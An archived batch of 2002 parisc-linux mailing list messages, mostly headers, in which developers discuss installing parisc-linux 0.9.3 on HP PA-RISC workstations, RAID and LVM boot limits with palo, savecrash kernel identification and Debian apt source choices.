Lines: 50
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620992 1398 80.91.229.3 (22 Nov 2014 01:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 14:58:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45D44482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 Jan 2002 14:58:49 -0700 (MST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <CWK5DAWA>; Tue, 22 Jan 2002 07:58:29 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13817

Hi all:

I've successfully installed 0.9.2 on this machine in the past, but I'm
having trouble installing 0.9.3 on my 735/99.

Here's the steps I went through; note that I don't have a SCSI CDROM to boot
from, so I had to do a bit of a kludge. Sometimes it worked, sometimes other
things happened. Anyway, here's the procedure (note I'm typing this from
memory, so the prompts aren't exact, but the procedure is the same as I used
- I did it about 10 or 15 times, so I'm well versed in it!):

I have 2 external scsi disks, one of which I'll call /dev/sda and the other
I'll call /dev/sdb; these names will not change when I transfer the disks to
the parisc box.

* Put the CD in my i686 Linux box;
* dd if=/dev/cdrom of=parisc-linux.iso;
* dd if=parisc-linux.iso of=/dev/sdb;
* reboot, and removethe external disks, plugging them into the 735/99.
* start minicom.
* Boot 735/99, choose 'b p0' at the prompt.
* Debian installer starts, good.
* Partition 1.3GB disk /dev/sda, as follows:
* 32MB /dev/sda1 -> type f0;
* 960MB /dev/sda2 -> type 83 (ext2fs);
* the rest /dev/sda3 -> type 82 (swap);
* make swap, make e2fs, mount /dev/sda2 as /;
* drop to shell, do "mkdir /inst ; mount /dev/sdb /inst -t iso9660"

Note that this last step only sometimes works. That is, only sometimes does
the install program see the mounted directory.

Anyway, it then proceeds to the "make boot floppy" section, where it asks to
list the files. Often (maybe 5 or 6 times out of 7) it will say "Files not
found in path", where I'll have to drop to the shell, umount the iso image,
then remount it. If it does find the files (and it lists the exact path), I
select the 32-bit one, and then it just hangs. I can leave it there for many
minutes, and it does nothing. 

Any ideas? Maybe I should leave it for a half hour or so... 

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069
ph:  (07) 3327 4685     fax:  (07) 3327 4455
email:  matt.vandewerken@csiro.au



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Tue, 22 Jan 2002 00:13:51 +0100 (CET)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com>
References: <20020121203237.74F8C482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620993 1402 80.91.229.3 (22 Nov 2014 01:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:53 +0000 (UTC)
Cc: Peter Mottram <peter@petescaff.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 16:13:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D28B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 16:13:58 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.33 #1)
	id 16SndP-0007SI-00; Tue, 22 Jan 2002 00:13:51 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <20020121203237.74F8C482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13818

On Mon, 21 Jan 2002, Grant Grundler wrote:
> Peter Mottram wrote:
> > In order to use md on root devices with parisc there must be kernel
> > support for partitioned md (due to F0 partition).
>
> Are you implying that CONFIG_MD can only use full disks?
> linux/Documentation/Configure.help suggests CONFIG_MD only knows
> about the partitions you configure it for.

You can construct MD devices out of whole disks or partitions but you
cannot partition an MD device without Neil Brown's patches. What I would
like to achieve is to construct an MD device for use as a boot disk and
then partition it including the F0 partition in order that the LIF is also
mirrored. This cannot be done with a stock kernel.

OK - maybe the answer is to construct non-mirrored F0 partitions on both
boot disks and then use the rest of the disk for MD & boot from LVM
partitions. Here's the next question - does palo understand how to
boot from LVM?

PeteM




From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: 21 Jan 2002 19:43:05 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <1011660185.22455.118.camel@archimedes.localnetsolutions.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-a0rn1ys1/B6h9Jsjwvmv"
X-Trace: ger.gmane.org 1416620993 1403 80.91.229.3 (22 Nov 2014 01:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:53 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 17:43:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11228482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 17:43:24 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by blount.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16Sp1r-0005c3-00; Mon, 21 Jan 2002 19:43:11 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id g0M0h6P29623;
	Mon, 21 Jan 2002 19:43:06 -0500
In-Reply-To: <3C4C53B7.67DA24E@admin.france.hp.com>
X-Mailer: Evolution/1.0.1 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13819

--=-a0rn1ys1/B6h9Jsjwvmv
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I think the palo command line is listed in dmesg. That will tell exactly
which kernel was booted.

On Mon, 2002-01-21 at 12:45, Bruno Vidal wrote:
> 	Hi
> As I said few days ago, I've a dump driver ready.
> Now I'm working on a savecrash command. It works fine
> for the dump, but I need to save with the dump some
> informations like the running kernel at dump time.
> So in the dump I've got this informations:
> utsname_release and utsname_version. Now, how can
> I found the right kernel in /boot ? In other
> word, how can I retrieve utsname informations in a
> binary file (without system.map and gdb) ?
>=20
> 	Thanks.
>=20
> --=20
> 	Vidal Bruno, (770-4271)
>         SSD-HA Team, HP-UX & LINUX Support
> 	bruno_vidal@admin.france.hp.com
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-a0rn1ys1/B6h9Jsjwvmv
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8TLWZYZCtw4KcbKcRAvChAKDj9oL1/T6nXZsL3NC3ZgZ5LdCUOgCcCMYq
I/u2QikOW/t3I6uHRb1Lzu8=
=9dh/
-----END PGP SIGNATURE-----

--=-a0rn1ys1/B6h9Jsjwvmv--



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Appropriate entries for apt sources.list
Date: Mon, 21 Jan 2002 17:12:30 -0800
Lines: 57
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020121170358.045b37c0@mira-sjc5-9.cisco.com>
References: <3C4B7CC8.1000300@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620993 1406 80.91.229.3 (22 Nov 2014 01:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:53 +0000 (UTC)
To: raffo@neuronet.pitt.edu, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 18:25:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED74F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 18:25:25 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g0M1POX10898;
	Mon, 21 Jan 2002 17:25:24 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABV87881;
	Mon, 21 Jan 2002 17:25:33 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <3C4B7CC8.1000300@neuronet.pitt.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13820


Good question... I personally changed it from "testing" to "unstable" as I 
had some trouble with X after upgrading the kernel. The new X server that 
fixed it was only available in unstable (at least back then). However there 
are examples where using "unstable" can break things (e.g. the recent gpm 
trouble). Previous ISOs used "unstable" by default, IIRC.

I think a fair answer is, if the system as it running now stable and you 
are not missing anything, stick with the "testing". If you want to run the 
latest and greatest kernel, or whatever application, you might want to go 
to "unstable".

I just edit the source.list and run update,

         Christian


At 09:28 PM 1/20/2002 -0500, Rafael Herrera wrote:
>I just finished a test install of CD 0.9.3 on a B132L workstation. 
>Comparing this with a couple of 715/75, 715/80 installs I made before, I 
>noticed a difference in the sources.list files.
>
>My last installation contains:
>
>deb ftp://ftp.us.debian.org/debian/ testing main non-free contrib
>deb-src ftp://ftp.us.debian.org/debian/ testing main non-free contrib
>deb http://non-us.debian.org/debian-non-US testing/non-US main contrib 
>non-free
>deb-src http://non-us.debian.org/debian-non-US testing/non-US main contrib 
>non-free
>
>Whereas the old installs have:
>
>deb ftp://ftp.us.debian.org/debian/ unstable main non-free contrib
>deb-src ftp://ftp.us.debian.org/debian/ unstable main non-free contrib
>deb http://non-us.debian.org/debian-non-US unstable/non-US main contrib 
>non-free
>deb-src http://non-us.debian.org/debian-non-US unstable/non-US main 
>contrib non-free
>
>What would be the most appropriate setting at this point (in order to get 
>the most usability in the system)? If "testing" is preferable, how can one 
>revert the packages from "stable" to "testing" version using apt-get commands?
>
>Thanks.
>
>--
>      Rafael
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Mon, 21 Jan 2002 17:25:06 -0800
Lines: 74
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20020121171503.045ee548@mira-sjc5-9.cisco.com>
References: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csir
 o.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620993 1408 80.91.229.3 (22 Nov 2014 01:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:53 +0000 (UTC)
To: Matt.VanDeWerken@csiro.au, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 18:25:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 201FE482B
	for <parisc-linux@parisc-linux.org>; Mon, 21 Jan 2002 18:25:26 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g0M1POX10901;
	Mon, 21 Jan 2002 17:25:24 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABV87882;
	Mon, 21 Jan 2002 17:25:33 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D51C72CD9@ntexchange.cat.csir
 o.au>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13821


Hmm,

are you able to do a network install, e.g. from NFS ? A while ago when I 
had frequent FS corruptions I had a setup that had vmlinux and the install 
root ramdisk "ready to go" in the f0 partition. Just had to give it the 
correct parameters at the PALO prompt, choose NFS as source and off I was 
leveling the linux partition... ;-)

Basically you should be able to do the same, boot into the installer from 
the second disk and do a regular network install. You would not need to do 
some funky stuff in the shell.

         Christian



At 07:58 AM 1/22/2002 +1000, Matt.VanDeWerken@csiro.au wrote:
>Hi all:
>
>I've successfully installed 0.9.2 on this machine in the past, but I'm
>having trouble installing 0.9.3 on my 735/99.
>
>Here's the steps I went through; note that I don't have a SCSI CDROM to boot
>from, so I had to do a bit of a kludge. Sometimes it worked, sometimes other
>things happened. Anyway, here's the procedure (note I'm typing this from
>memory, so the prompts aren't exact, but the procedure is the same as I used
>- I did it about 10 or 15 times, so I'm well versed in it!):
>
>I have 2 external scsi disks, one of which I'll call /dev/sda and the other
>I'll call /dev/sdb; these names will not change when I transfer the disks to
>the parisc box.
>
>* Put the CD in my i686 Linux box;
>* dd if=/dev/cdrom of=parisc-linux.iso;
>* dd if=parisc-linux.iso of=/dev/sdb;
>* reboot, and removethe external disks, plugging them into the 735/99.
>* start minicom.
>* Boot 735/99, choose 'b p0' at the prompt.
>* Debian installer starts, good.
>* Partition 1.3GB disk /dev/sda, as follows:
>* 32MB /dev/sda1 -> type f0;
>* 960MB /dev/sda2 -> type 83 (ext2fs);
>* the rest /dev/sda3 -> type 82 (swap);
>* make swap, make e2fs, mount /dev/sda2 as /;
>* drop to shell, do "mkdir /inst ; mount /dev/sdb /inst -t iso9660"
>
>Note that this last step only sometimes works. That is, only sometimes does
>the install program see the mounted directory.
>
>Anyway, it then proceeds to the "make boot floppy" section, where it asks to
>list the files. Often (maybe 5 or 6 times out of 7) it will say "Files not
>found in path", where I'll have to drop to the shell, umount the iso image,
>then remount it. If it does find the files (and it lists the exact path), I
>select the 32-bit one, and then it just hangs. I can leave it there for many
>minutes, and it does nothing.
>
>Any ideas? Maybe I should leave it for a half hour or so...
>
>Cheers,
>Matthew van de Werken
>Electronics Engineer
>CSIRO Exploration & Mining - Gravity Group
>1 Technology Court - Pullenvale - Qld - 4069
>ph:  (07) 3327 4685     fax:  (07) 3327 4455
>email:  matt.vandewerken@csiro.au
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting to ISL with Linux installed
Date: Mon, 21 Jan 2002 18:51:54 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020122015154.B793A482A@dsl2.external.hp.com>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com> <20020121030235.C37E737D2B@carmen.fc.hp.com>  <3C4C879A.D55F643D@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620994 1409 80.91.229.3 (22 Nov 2014 01:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:54 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	=?iso-8859-1?Q?Bj=F6rn?= Bylander <bjorn.bylander@telia.com>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 18:51:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B793A482A; Mon, 21 Jan 2002 18:51:54 -0700 (MST)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Mon, 21 Jan 2002 22:26:50 +0100." <3C4C879A.D55F643D@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13822

Christoph Plattner wrote:
> How is the switch to and from the console done exactly,
> after I have booted the uxbootlf ?

http://lists.parisc-linux.org/hypermail/parisc-linux/0420.html

Matt Taggart also once posted a more complete recipe.
If htdig didn't suck so badly I'd look for it...

> How can I do a factory default setup, if there is going something wrong
> ?

You can't. Only the factory can really do it.
It requires a special card ("Dagger") with LASI and onboard firmware.
Don't muck with this unless you really need to.

grant



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Mon, 21 Jan 2002 19:20:33 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20020122022033.C1685482A@dsl2.external.hp.com>
References: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620994 1415 80.91.229.3 (22 Nov 2014 01:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:54 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 19:20:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C1685482A; Mon, 21 Jan 2002 19:20:33 -0700 (MST)
In-Reply-To: Message from Peter Mottram <peter@petescaff.com> 
   of "Tue, 22 Jan 2002 00:13:51 +0100." <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13823

Peter Mottram wrote:
> You can construct MD devices out of whole disks or partitions but you
> cannot partition an MD device without Neil Brown's patches.

Ok. I don't think we really need or want this right now.

I would prefer patches that makes it harder for linus to accept our bits
get introduced right now. parisc-linux maintainers "own" arch/parisc
but have to fight for changes in other parts of the kernel like anyone
else. Even though, this patch sounds like a good thing.

> What I would
> like to achieve is to construct an MD device for use as a boot disk and
> then partition it including the F0 partition in order that the LIF is also
> mirrored. This cannot be done with a stock kernel.

You don't really need to mirror F0. The content is static for all
intents and purposes. One could mirror /  (and /boot if that's seperate)
across two partitions on seperate physcial disks and get basically the
same result.

> OK - maybe the answer is to construct non-mirrored F0 partitions on both
> boot disks and then use the rest of the disk for MD & boot from LVM
> partitions.

Exactly.

> Here's the next question - does palo understand how to
> boot from LVM?

No. HPUX LVM is derived from the same original sources as linux's LVM
but is not compatible. HP cannot release the disk layout since it's not
HP's to give away. MKP tried to reverse engineer it early in the port
and gave up after a while. While it would make migration from HPUX to
parisc-linux easier, I don't see it as essential.

grant



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Tue, 22 Jan 2002 02:33:44 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20020122023344.U31512@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.42.0201220007440.13910-100000@r6.petescaff.com> <peter@petescaff.com> <20020122022033.C1685482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620994 1416 80.91.229.3 (22 Nov 2014 01:49:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:54 +0000 (UTC)
Cc: Peter Mottram <peter@petescaff.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 19:33:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81C36482B
